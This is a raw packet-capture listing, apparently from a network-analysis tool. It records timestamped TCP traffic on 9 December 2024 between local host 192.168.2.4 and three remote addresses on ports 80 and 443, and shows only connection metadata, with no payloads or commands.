Dec 9, 2024 23:09:13.314249039 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.315174103 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.315228939 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.315301895 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.315373898 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.316257954 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.316337109 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.316384077 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.316452980 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.317279100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.317373037 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.317425013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.318444967 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.318492889 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.318520069 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.318559885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.319747925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.319827080 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.319876909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.320660114 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.320717096 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.320888042 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.320939064 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.321686029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.321738005 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.321769953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.321922064 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.322762012 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.322815895 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.322922945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.322989941 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.323832989 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.323889017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.324287891 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.324407101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.324893951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.324944973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.325000048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.325120926 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.326037884 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.326091051 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.326162100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.326204062 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.327112913 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.327155113 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.327236891 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.327276945 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.328152895 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.328211069 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.328269958 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.328315973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.329220057 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.329335928 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.329384089 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.330298901 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.330353022 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.330430984 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.330476999 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.331437111 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.331530094 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.331578016 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.332473993 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.332528114 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.332600117 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.332643986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.333499908 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.333564043 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.460242033 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.460365057 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.460371971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.460431099 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.460761070 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.460813046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.460879087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.460925102 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.461904049 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.461946964 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.462047100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.462085962 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.462937117 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.462984085 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.463057041 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.463102102 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.464073896 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.464092970 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.464128971 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.465101957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.465167046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.465387106 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.465436935 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.466218948 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.466269970 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.466415882 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.466459990 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.479173899 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.479242086 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.479305983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.479584932 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.479629993 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.479652882 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.479710102 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.480793953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.480885983 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.480931044 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.481725931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.481771946 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.482136965 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.482187033 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.482213974 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.482254028 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:14.895740986 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:14.895761013 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:14.895984888 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:14.899019957 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:14.899030924 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:15.742464066 CET	49764	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:15.742767096 CET	49787	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:15.862042904 CET	80	49787	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:15.862157106 CET	49787	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:15.862201929 CET	80	49764	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:15.862256050 CET	49764	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:15.862375975 CET	49787	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:15.982640028 CET	80	49787	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:16.121835947 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:16.121917009 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:16.123840094 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:16.123848915 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:16.124409914 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:16.167227030 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:16.204113007 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:16.204135895 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:16.204346895 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:17.108319044 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:17.108546972 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:17.108714104 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:17.110265970 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:17.110270023 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:17.110291958 CET	49781	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:17.110295057 CET	443	49781	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:17.166182995 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:17.166212082 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:17.166307926 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:17.166579008 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:17.166588068 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:17.213035107 CET	80	49787	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:17.213327885 CET	49787	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:17.215102911 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:17.215375900 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:17.334732056 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:17.334916115 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:17.335025072 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:17.335048914 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:17.335149050 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:17.454457998 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.382854939 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:18.382927895 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:18.392143011 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:18.392154932 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:18.392405033 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:18.404759884 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:18.404786110 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:18.404824972 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:18.677970886 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678021908 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.678046942 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678059101 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678083897 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.678096056 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.678226948 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678245068 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678255081 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678266048 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.678266048 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678284883 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.678299904 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.678580999 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678600073 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678610086 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.678617001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.678627014 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.678659916 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.797410965 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.797422886 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.797466040 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.797485113 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.870130062 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.870225906 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.870537043 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.870583057 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.872596979 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.872647047 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.872668982 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.872715950 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.881220102 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.881253958 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.881414890 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.889348030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.889405966 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.889523983 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.889566898 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.897717953 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.897773027 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.897818089 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.897867918 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.906094074 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.906183958 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.906208038 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.906250000 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.914458990 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.914511919 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.914563894 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.914609909 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.922866106 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.922918081 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.923069000 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.923115969 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.931276083 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.931344032 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.931420088 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.931461096 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.939662933 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.939716101 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.939733982 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.939802885 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.947217941 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.947289944 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.947326899 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.947369099 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:18.989542007 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:18.989600897 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.062464952 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.062578917 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.062643051 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.064949036 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.065850019 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.065905094 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.065998077 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.066045046 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.070832968 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.070951939 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.071016073 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.075819969 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.075926065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.075962067 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.075995922 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.080806971 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.080943108 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.080991030 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.085652113 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.085762978 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.085808992 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.090334892 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.090538979 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.090589046 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.095132113 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.095186949 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.095257044 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.099924088 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.100217104 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.100267887 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.104660988 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.104720116 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.104765892 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.109380960 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.109493971 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.109540939 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.114228010 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.114356041 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.114403009 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.118971109 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.119133949 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.119183064 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.122060061 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.122454882 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.122488976 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.122499943 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:19.122508049 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.122570992 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.122596979 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.122607946 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:19.122612000 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.122631073 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:19.122803926 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.122849941 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.122879028 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.122931004 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.126566887 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.126609087 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.126677990 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.126722097 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.130340099 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.130387068 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.130453110 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.130500078 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.133486986 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.133548021 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:19.133553982 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.134145021 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.134186983 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.141866922 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.141935110 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:19.141942024 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.182868004 CET	49790	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:19.241403103 CET	443	49790	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:19.254369020 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.254441977 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.254477978 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.254517078 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.255306959 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.255354881 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.255470991 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.255517960 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.258291960 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.258337021 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.258388042 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.261220932 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.261288881 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.261337042 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.264244080 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.264348984 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.264379025 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.264416933 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.267210007 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.267256975 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.267316103 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.267946959 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.270162106 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.270210981 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.270317078 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.270360947 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.273185015 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.273267031 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.273297071 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.273427010 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.276153088 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.276201963 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.276227951 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.276263952 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.279156923 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.279203892 CET	49791	80	192.168.2.4	185.215.113.16
